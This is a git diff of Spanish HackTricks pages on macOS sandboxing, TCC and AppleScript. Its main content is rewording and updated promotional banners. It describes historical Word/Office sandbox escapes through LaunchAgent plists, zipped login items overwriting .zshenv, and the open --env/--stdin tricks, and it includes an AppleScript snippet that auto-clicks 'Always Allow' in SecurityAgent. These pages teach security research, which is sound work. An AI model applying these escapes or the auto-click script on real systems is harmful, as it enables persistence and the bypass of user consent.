**`/System/Library/Sandbox/Profiles/application.sb`**. Puedes verificar en este perfil cómo los permisos como **`com.apple.security.network.server`** permiten que un proceso utilice la red. +Las aplicaciones de la **App Store** utilizan el **perfil** **`/System/Library/Sandbox/Profiles/application.sb`**. Puedes verificar en este perfil cómo los derechos como **`com.apple.security.network.server`** permiten que un proceso use la red. SIP es un perfil de Sandbox llamado platform\_profile en /System/Library/Sandbox/rootless.conf ### Ejemplos de Perfiles de Sandbox -Para iniciar una aplicación con un **perfil de sandbox específico**, puedes usar: +Para iniciar una aplicación con un **perfil de sandbox específico** puedes usar: ```bash sandbox-exec -f example.sb /Path/To/The/Application ``` {% tabs %} -{% tab title="toque" %} -{% code title="toque.sb" %} +{% tab title="touch" %} +{% code title="touch.sb" %} ```scheme (version 1) (deny default) @@ -210,7 +211,7 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last {% endtabs %} {% hint style="info" %} -Ten en cuenta que el **software** **creado por Apple** que se ejecuta en **Windows** **no tiene precauciones de seguridad adicionales**, como el aislamiento de aplicaciones. +Tenga en cuenta que el **software** **autorizado por Apple** que se ejecuta en **Windows** **no tiene precauciones de seguridad adicionales**, como el sandboxing de aplicaciones. {% endhint %} Ejemplos de bypass: @@ -220,9 +221,9 @@ Ejemplos de bypass: ### Perfiles de Sandbox de MacOS -macOS almacena los perfiles de sandbox del sistema en dos ubicaciones: **/usr/share/sandbox/** y **/System/Library/Sandbox/Profiles**. +macOS almacena perfiles de sandbox del sistema en dos ubicaciones: **/usr/share/sandbox/** y **/System/Library/Sandbox/Profiles**. -Y si una aplicación de terceros lleva el permiso _**com.apple.security.app-sandbox**_, el sistema aplica el perfil **/System/Library/Sandbox/Profiles/application.sb** a ese proceso. +Y si una aplicación de terceros tiene el derecho _**com.apple.security.app-sandbox**_, el sistema aplica el perfil **/System/Library/Sandbox/Profiles/application.sb** a ese proceso. ### **Perfil de Sandbox de iOS** @@ -230,9 +231,9 @@ El perfil predeterminado se llama **container** y no tenemos la representación ### Depurar y Bypass Sandbox -En macOS, a diferencia de iOS donde los procesos están aislados desde el principio por el kernel, **los procesos deben optar por el sandbox por sí mismos**. Esto significa que en macOS, un proceso no está restringido por el sandbox hasta que decide activamente ingresar a él. +En macOS, a diferencia de iOS donde los procesos están en sandbox desde el principio por el kernel, **los procesos deben optar por el sandbox ellos mismos**. Esto significa que en macOS, un proceso no está restringido por el sandbox hasta que decide activamente entrar en él. -Los procesos se aíslan automáticamente desde el espacio de usuario cuando se inician si tienen el permiso: `com.apple.security.app-sandbox`. Para obtener una explicación detallada de este proceso, consulta: +Los procesos se en sandbox automáticamente desde el userland cuando comienzan si tienen el derecho: `com.apple.security.app-sandbox`. Para una explicación detallada de este proceso, consulte: {% content-ref url="macos-sandbox-debug-and-bypass/" %} [macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/) @@ -240,20 +241,20 @@ Los procesos se aíslan automáticamente desde el espacio de usuario cuando se i ### **Verificar Privilegios de PID** -[**Según esto**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), el **`sandbox_check`** (es un `__mac_syscall`), puede verificar **si una operación está permitida o no** por el sandbox en un PID específico. +[**Según esto**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), el **`sandbox_check`** (es un `__mac_syscall`), puede verificar **si una operación está permitida o no** por el sandbox en un cierto PID. -La [**herramienta sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) puede verificar si un PID puede realizar una determinada acción: +La [**herramienta sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) puede verificar si un PID puede realizar una cierta acción: ```bash sbtool mach #Check mac-ports (got from launchd with an api) sbtool file /tmp #Check file access sbtool inspect #Gives you an explaination of the sandbox profile sbtool all ``` -### Perfiles SBPL personalizados en aplicaciones de la App Store +### Custom SBPL en aplicaciones de la App Store -Podría ser posible para las empresas hacer que sus aplicaciones se ejecuten **con perfiles de Sandbox personalizados** (en lugar del predeterminado). Necesitan usar el permiso **`com.apple.security.temporary-exception.sbpl`** que debe ser autorizado por Apple. +Podría ser posible que las empresas hicieran que sus aplicaciones funcionaran **con perfiles de Sandbox personalizados** (en lugar de con el predeterminado). Necesitan usar la autorización **`com.apple.security.temporary-exception.sbpl`** que debe ser autorizada por Apple. -Es posible verificar la definición de este permiso en **`/System/Library/Sandbox/Profiles/application.sb:`** +Es posible verificar la definición de esta autorización en **`/System/Library/Sandbox/Profiles/application.sb:`** ```scheme (sandbox-array-entitlement "com.apple.security.temporary-exception.sbpl" @@ -261,18 +262,19 @@ Es posible verificar la definición de este permiso en **`/System/Library/Sandbo (let* ((port (open-input-string string)) (sbpl (read port))) (with-transparent-redirection (eval sbpl))))) ``` -Esto **evaluará la cadena después de este permiso** como un perfil de Sandbox. +Esto **evaluará la cadena después de este derecho** como un perfil de Sandbox. + +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red Team AWS de HackTricks)! +Apoya a HackTricks -Otras formas de apoyar a HackTricks: - -* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md index 6ae28d78f..3847627e8 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md @@ -1,18 +1,19 @@ -# Depuración del Sandbox predeterminado de macOS +# macOS Default Sandbox Debug + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (Experto en Red Team de AWS de HackTricks)! +Support HackTricks -Otras formas de apoyar a HackTricks: - -* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} En esta página puedes encontrar cómo crear una aplicación para lanzar comandos arbitrarios desde dentro del sandbox predeterminado de macOS: @@ -74,7 +75,7 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist EOF ``` -3. Definir los permisos +3. Definir los derechos {% tabs %} {% tab title="sandbox" %} @@ -110,7 +111,7 @@ EOF {% endtab %} {% endtabs %} -4. Firmar la aplicación (necesitas crear un certificado en el llavero) +4. Firma la aplicación (necesitas crear un certificado en el llavero) ```bash codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app ./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp @@ -118,16 +119,17 @@ codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.a # An d in case you need this in the future codesign --remove-signature SandboxedShellApp.app ``` +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! +Apoya a HackTricks -Otras formas de apoyar a HackTricks: - -* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md index 61f9089b3..2f13b4114 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md @@ -1,76 +1,78 @@ -# Saltos de la caja de arena de Word en macOS +# Bypass del Sandbox de Office en macOS + +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Equipos Rojos de AWS de HackTricks)! +Apoya a HackTricks -Otras formas de apoyar a HackTricks: - -* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
+{% endhint %} -### Salto de la caja de arena de Word a través de Agentes de Inicio +### Bypass del Sandbox de Word a través de Launch Agents -La aplicación utiliza una **Caja de Arena personalizada** utilizando el permiso **`com.apple.security.temporary-exception.sbpl`** y esta caja de arena personalizada permite escribir archivos en cualquier lugar siempre que el nombre del archivo comience con `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))` +La aplicación utiliza un **Sandbox personalizado** usando el derecho **`com.apple.security.temporary-exception.sbpl`** y este sandbox personalizado permite escribir archivos en cualquier lugar siempre que el nombre del archivo comience con `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))` -Por lo tanto, el escape fue tan fácil como **escribir un `plist`** de LaunchAgent en `~/Library/LaunchAgents/~$escape.plist`. +Por lo tanto, escapar fue tan fácil como **escribir un `plist`** LaunchAgent en `~/Library/LaunchAgents/~$escape.plist`. -Consulta el [**informe original aquí**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/). +Revisa el [**informe original aquí**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/). -### Salto de la caja de arena de Word a través de Elementos de Inicio y zip +### Bypass del Sandbox de Word a través de Login Items y zip -Recuerda que a partir del primer escape, Word puede escribir archivos arbitrarios cuyo nombre comienza con `~$`, aunque después del parche de la vulnerabilidad anterior no era posible escribir en `/Library/Application Scripts` o en `/Library/LaunchAgents`. +Recuerda que desde el primer escape, Word puede escribir archivos arbitrarios cuyos nombres comiencen con `~$`, aunque después del parche de la vulnerabilidad anterior no era posible escribir en `/Library/Application Scripts` o en `/Library/LaunchAgents`. -Se descubrió que desde dentro de la caja de arena es posible crear un **Elemento de Inicio** (aplicaciones que se ejecutarán cuando el usuario inicie sesión). Sin embargo, estas aplicaciones **no se ejecutarán a menos que** estén **notarizadas** y no es **posible agregar argumentos** (por lo que no se puede simplemente ejecutar un shell inverso usando **`bash`**). +Se descubrió que desde dentro del sandbox es posible crear un **Login Item** (aplicaciones que se ejecutarán cuando el usuario inicie sesión). Sin embargo, estas aplicaciones **no se ejecutarán a menos que** estén **notarizadas** y **no es posible agregar argumentos** (por lo que no puedes simplemente ejecutar un shell inverso usando **`bash`**). -A partir del escape anterior de la caja de arena, Microsoft deshabilitó la opción de escribir archivos en `~/Library/LaunchAgents`. Sin embargo, se descubrió que si se coloca un **archivo zip como Elemento de Inicio**, el `Utilidad de Archivo` simplemente lo **descomprimirá** en su ubicación actual. Entonces, como por defecto la carpeta `LaunchAgents` de `~/Library` no se crea, fue posible **comprimir un plist en `LaunchAgents/~$escape.plist`** y **colocar** el archivo zip en **`~/Library`** para que al descomprimirlo alcance el destino de persistencia. +Desde el bypass anterior del Sandbox, Microsoft deshabilitó la opción de escribir archivos en `~/Library/LaunchAgents`. Sin embargo, se descubrió que si pones un **archivo zip como Login Item**, el `Archive Utility` simplemente **descomprimirá** en su ubicación actual. Así que, debido a que por defecto la carpeta `LaunchAgents` de `~/Library` no se crea, fue posible **comprimir un plist en `LaunchAgents/~$escape.plist`** y **colocar** el archivo zip en **`~/Library`** para que al descomprimirlo alcance el destino de persistencia. -Consulta el [**informe original aquí**](https://objective-see.org/blog/blog\_0x4B.html). +Revisa el [**informe original aquí**](https://objective-see.org/blog/blog\_0x4B.html). -### Salto de la caja de arena de Word a través de Elementos de Inicio y .zshenv +### Bypass del Sandbox de Word a través de Login Items y .zshenv -(Recuerda que a partir del primer escape, Word puede escribir archivos arbitrarios cuyo nombre comienza con `~$`). +(Recuerda que desde el primer escape, Word puede escribir archivos arbitrarios cuyos nombres comiencen con `~$`). -Sin embargo, la técnica anterior tenía una limitación, si la carpeta **`~/Library/LaunchAgents`** existe porque otro software la creó, fallaría. Por lo tanto, se descubrió una cadena de Elementos de Inicio diferente para esto. +Sin embargo, la técnica anterior tenía una limitación, si la carpeta **`~/Library/LaunchAgents`** existe porque algún otro software la creó, fallaría. Así que se descubrió una cadena diferente de Login Items para esto. -Un atacante podría crear los archivos **`.bash_profile`** y **`.zshenv`** con el payload para ejecutar y luego comprimirlos y **escribir el zip en la carpeta del usuario** de la víctima: **`~/~$escape.zip`**. +Un atacante podría crear los archivos **`.bash_profile`** y **`.zshenv`** con la carga útil para ejecutar y luego comprimirlos y **escribir el zip en la** carpeta del usuario de la víctima: **`~/~$escape.zip`**. -Luego, agregar el archivo zip a los **Elementos de Inicio** y luego la aplicación **`Terminal`**. Cuando el usuario vuelva a iniciar sesión, el archivo zip se descomprimirá en los archivos del usuario, sobrescribiendo **`.bash_profile`** y **`.zshenv`** y por lo tanto, el terminal ejecutará uno de estos archivos (dependiendo de si se usa bash o zsh). +Luego, agregar el archivo zip a los **Login Items** y luego la aplicación **`Terminal`**. Cuando el usuario vuelva a iniciar sesión, el archivo zip se descomprimiría en los archivos del usuario, sobrescribiendo **`.bash_profile`** y **`.zshenv`** y, por lo tanto, el terminal ejecutará uno de estos archivos (dependiendo de si se usa bash o zsh). -Consulta el [**informe original aquí**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c). +Revisa el [**informe original aquí**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c). -### Salto de la caja de arena de Word con Open y variables de entorno +### Bypass del Sandbox de Word con Open y variables de entorno -Desde procesos en la caja de arena, todavía es posible invocar otros procesos utilizando la utilidad **`open`**. Además, estos procesos se ejecutarán **dentro de su propia caja de arena**. +Desde procesos en sandbox todavía es posible invocar otros procesos usando la utilidad **`open`**. Además, estos procesos se ejecutarán **dentro de su propio sandbox**. -Se descubrió que la utilidad open tiene la opción **`--env`** para ejecutar una aplicación con **variables de entorno específicas**. Por lo tanto, fue posible crear el archivo **`.zshenv` dentro** de una carpeta **dentro** de la **caja de arena** y luego usar `open` con `--env` configurando la variable **`HOME`** a esa carpeta abriendo la aplicación `Terminal`, que ejecutará el archivo `.zshenv` (por alguna razón también fue necesario establecer la variable `__OSINSTALL_ENVIROMENT`). +Se descubrió que la utilidad open tiene la opción **`--env`** para ejecutar una aplicación con **variables de entorno específicas**. Por lo tanto, fue posible crear el **archivo `.zshenv`** dentro de una carpeta **dentro** del **sandbox** y usar `open` con `--env` configurando la **variable `HOME`** a esa carpeta abriendo esa aplicación `Terminal`, que ejecutará el archivo `.zshenv` (por alguna razón también fue necesario establecer la variable `__OSINSTALL_ENVIROMENT`). -Consulta el [**informe original aquí**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/). +Revisa el [**informe original aquí**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/). -### Salto de la caja de arena de Word con Open y stdin +### Bypass del Sandbox de Word con Open y stdin -La utilidad **`open`** también admitía el parámetro **`--stdin`** (y después del escape anterior ya no era posible usar `--env`). +La utilidad **`open`** también soportaba el parámetro **`--stdin`** (y después del bypass anterior ya no era posible usar `--env`). -La cuestión es que incluso si **`python`** estaba firmado por Apple, **no ejecutará** un script con el atributo **`quarantine`**. Sin embargo, era posible pasarle un script desde stdin para que no verifique si estaba en cuarentena o no: +La cuestión es que incluso si **`python`** estaba firmado por Apple, **no ejecutará** un script con el atributo **`quarantine`**. Sin embargo, fue posible pasarle un script desde stdin, por lo que no verificará si estaba en cuarentena o no: -1. Dejar un archivo **`~$exploit.py`** con comandos arbitrarios de Python. -2. Ejecutar _open_ **`–stdin='~$exploit.py' -a Python`**, que ejecuta la aplicación Python con nuestro archivo dejado sirviendo como su entrada estándar. Python ejecuta nuestro código felizmente y, como es un proceso secundario de _launchd_, no está sujeto a las reglas de la caja de arena de Word. +1. Dejar un archivo **`~$exploit.py`** con comandos de Python arbitrarios. +2. Ejecutar _open_ **`–stdin='~$exploit.py' -a Python`**, que ejecuta la aplicación Python con nuestro archivo dejado sirviendo como su entrada estándar. Python ejecuta felizmente nuestro código, y dado que es un proceso hijo de _launchd_, no está sujeto a las reglas del sandbox de Word. + +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Equipos Rojos de AWS de HackTricks)! +Apoya a HackTricks -Otras formas de apoyar a HackTricks: - -* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md index ff36c2c78..8e43203f2 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md @@ -1,32 +1,33 @@ -# Scripts de Apple en macOS +# macOS Apple Scripts + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Otras formas de apoyar a HackTricks: - -* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de GitHub. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Scripts de Apple +## Apple Scripts -Es un lenguaje de script utilizado para la automatización de tareas **interactuando con procesos remotos**. Facilita **solicitar a otros procesos que realicen algunas acciones**. El **malware** puede abusar de estas funciones para explotar las funciones exportadas por otros procesos.\ -Por ejemplo, un malware podría **inyectar código JS arbitrario en las páginas abiertas del navegador**. O **hacer clic automáticamente** en algunos permisos solicitados al usuario. +Es un lenguaje de scripting utilizado para la automatización de tareas **interactuando con procesos remotos**. Facilita bastante **pedir a otros procesos que realicen algunas acciones**. **El malware** puede abusar de estas características para aprovechar funciones exportadas por otros procesos.\ +Por ejemplo, un malware podría **inyectar código JS arbitrario en páginas abiertas del navegador**. O **hacer clic automáticamente** en algunos permisos permitidos solicitados al usuario; ```applescript tell window 1 of process "SecurityAgent" click button "Always Allow" of group 1 end tell ``` Aquí tienes algunos ejemplos: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\ -Encuentra más información sobre malware que utiliza AppleScripts [**aquí**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/). +Encuentra más información sobre malware usando applescripts [**aquí**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/). -Los scripts de Apple pueden ser fácilmente "**compilados**". Estas versiones pueden ser fácilmente "**descompiladas**" con `osadecompile` +Los scripts de Apple pueden ser fácilmente "**compilados**". Estas versiones pueden ser fácilmente "**decompiladas**" con `osadecompile` Sin embargo, estos scripts también pueden ser **exportados como "Solo lectura"** (a través de la opción "Exportar..."): @@ -35,20 +36,21 @@ Sin embargo, estos scripts también pueden ser **exportados como "Solo lectura"* file mal.scpt mal.scpt: AppleScript compiled ``` -En este caso, el contenido no se puede descompilar incluso con `osadecompile`. +y en este caso el contenido no puede ser descompilado incluso con `osadecompile` -Sin embargo, todavía hay algunas herramientas que se pueden utilizar para entender este tipo de ejecutables, [**lee esta investigación para más información**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). La herramienta [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) con [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) será muy útil para entender cómo funciona el script. +Sin embargo, todavía hay algunas herramientas que se pueden usar para entender este tipo de ejecutables, [**lee esta investigación para más información**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). La herramienta [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) con [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) será muy útil para entender cómo funciona el script. + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Otras formas de apoyar a HackTricks: - -* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription 